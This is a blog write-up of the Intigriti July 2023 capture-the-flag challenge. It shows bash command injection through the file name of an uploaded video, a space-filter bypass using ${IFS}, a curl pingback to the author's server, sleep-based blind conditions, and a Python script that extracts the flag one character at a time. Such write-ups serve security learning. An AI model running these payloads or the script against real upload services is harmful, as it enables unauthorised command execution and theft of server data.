Write-Up - Intigriti July 2023 Challenge 0723 - Bash command injection and time based attack
2023-07-21
Hi all ! In this article you will find my write-up for the Intigriti July 2023 Challenge created by @_kavigihan
.
Statement
The challenge’s objective was to retrieve the flag from the web server serving the target website. Our target was a very simple Video Audio Extractor
website. It was supposed to allow us to upload a .mp4
video and get the extracted audio as a result.
The only indication we had was the flag format, INTIGRITI{.*}
. As I was going through the challenge, a hint was posted that basically pointed us to a blind attack
.
Overview
First glance
The file upload mechanism was a simple POST
request to the /upload
endpoint. The constraints were :
- The file name had to end with
.mp4
- No spaces in the file name allowed
- The Content-Type had to be
video/mp4
These requirements need to be fulfilled in order to get the server to actually process the file. So a legit request would look like
As a result, we get a .mp3
file containing the audio from the video.
So the first thing we test is upload a random file. So using Burp to change the Content-Type to video/mp4
, we upload an mp3
file and the server basically returns me the same file but no errors.
Then we try to upload a text file and we get a 500 Internal Server Error
with content :
{
"error":"That wasn't supposed to happen",
"message":"Hey, stop trying to break things!!"
}
We can deduce that the server does not check the actual content of the file and processes it if the previous requirements are verified.
When we think of a simple app like this one, my first thought was that the backend used a bash process (in python with os.system
for example) to use something like ffmpeg
.
Attack vector discovery
So in typical File Upload Injections
we have multiple attack vectors. Usually, these would be :
- Injection of a file on the server we can later access to execute code on the server (i.e. a
php
file) - Injection of a file being processed in a particular way -> payload in file content in order to exploit vulnerability in the tool used (here we can assume
ffmpeg
) - Injection in the
file name
if it is used as is somehow in the back
To begin with, I performed a small directory discovery scan
with ffuf
to find if there were any ways I could access the uploaded file and get it to do something, but nothing.
So I tried to exploit the filename
field in the HTTP POST request data. And quickly we notice that we get the 500
error when we supply names like :
(.mp4
;.mp4
".mp4
&&.mp4
So you see where this is going. These errors scream BASH
so yeah, let’s exploit that.
Bash command injections are usually the most straight forward. Here, the only limitations we have are that we cannot have spaces and that the file name must end with .mp4
.
We can assume that the base command looked like that (it doesn’t matter but to give some context) :
ffmpeg (junk) -i $FILE_NAME $OUTPUT_FILE_NAME
So the ideas here were to either:
- Retrieve data through the server response (the
output file
) - Get a
reverse shell
- Retrieve data by making the server make
HTTP requests
to my own server
The latter two were definitely the ones I felt would be the simplest. So first objective was to get a pingback.
Bypass the forbidden spaces limitation
In Hacktricks (see references) we see that $IFS
is an environment variable that expands to a space. So we have
$ echo "cat${IFS}flag.txt"
cat flag.txt
So we can easily use that to bypass the forbidden spaces restriction.
Getting a command executed (and knowing it)
Pingback (or not)
So the first attempt was to try and inject something like :
a.mp4; curl 'http://my.server.com', echo a.mp4
# ffmpeg (junk) a.mp4; curl 'https://my.server.com'; echo a.mp4 $OUTPUT_FILENAME
which looks like this with the ${IFS}
technique (I will assume all spaces are replaced with that from now on) :
a.mp4;${IFS}curl${IFS}'http://my.server.com';echo${IFS}a.mp4
Of course, at this point we don’t really care about getting a 500
error, we usually get those and sometimes not but did not try to make sense out of that 😇.
But after many tries of different payloads using different commands, (even python inline yes) I figured the server was not allowed to make any requests to the outside or that these commands somehow did not function.
Blind attack = life
So at this point we do not have any proofs that any commands are actually being executed. So instead of a pingback, I opted for a timeout test
with :
; sleep 10; echo a.mp4
And bingo, the server took 10 seconds (and a bit more) to respond ! With the hint we were given I chose to try and leverage that.
Conditioning the execution of the sleep
So the first objective was to make the server execute the sleep
only if a condition is verified in order to perform a blind attack. For that, we will use the &&
operator :
$ true&&echo a # a is echoed
a
$ false&&echo b # nothing
$
So we can inject something like :
;(test)&&sleep 5;.mp4
The sleep
will only be executed if (test)
returns true (exit code of last command in (test)
).
Finally, we can use grep -q PATTERN
which returns true if the pattern is found in the input. So we have everything we need to exploit the target
Exploit
Finding the file
So first of all, we need to find the file containing the flag. I did that by “hand” since it was not too complicated. We have
;(ls; grep -q flag)&&sleep 5;.mp4
that did not function, so I tried
;(cd ..; ls; grep -q flag)&&sleep 5;.mp4
The /
character was not handled properly, hence the cd ..
command used.
And this time it’s a hit. Basically we list the files in $(pwd)/..
and we look for a file with flag
in the name. If we found one, the sleep
gets executed and we have a delay in the server response.
We try the obvious flag.txt
and it worked, verified with
;(cd ..; cat flag.txt)&&sleep 5;.mp4
Getting the flag character by character
So now in order to get the flag character by character, we are going to “iterate” over the flag and try to test each letter until we have a match. And then we move on to the next letter etc…
The injection :
;(cd ..; cat flag.txt; cut -c 1; grep -q -P '\x49')&& sleep 5;.mp4
executes the sleep
because the first character of the flag is I
. The cut -c 1
gets the first character of the flag, and we try to grep to see if its value is \x49
which is I
, so it’s a hit here.
So now we just need to automate this with the following python script :
#!/usr/bin/python3
# Challenge 0723 by Kavigihan - Intigriti - EyeXion
from string import printable
import requests
url = 'https://challenge-0723.intigriti.io/upload'
# The injection payload, with formats for the index and the character tested
payload = '||cd${{IFS}}..;(cat${{IFS}}flag.txt|cut${{IFS}}-c${{IFS}}{index}|grep${{IFS}}-q${{IFS}}-P${{IFS}}\"{c}\")&&sleep${{IFS}}5;.mp4'
# We know part of the flag, might as well speed up the process
flag = 'INTIGRITI{'
index = len(flag) + 1
# End when } encoutered
while flag[-1] != '}':
i = str(index)
for c in printable:
# Format character in hex form \xYZ
c2 = '\\x' + hex(ord(c))[2:]
# Create the payload with the injection in the file name
filename = payload.format(c=c2, index=i)
file = {'video': (filename, 'I am totally a video', 'video/mp4')}
# Try to send the request with a timeout of 2.
try:
r = requests.post(url, files=file, timeout=2)
except requests.ReadTimeout:
# If connection timed out, we got the sleep to be executed -> character found
print('Found char : ' + c)
flag += c
index += 1
break
print("The flag is : " + flag)
And after some time we get the flag : INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
! (which hey definitely means I missed something, so looking forward to read other solutions).
So pretty fun challenge, see you for the next one !
Thanks for reading my first write-up ever, have a nice day ☀️.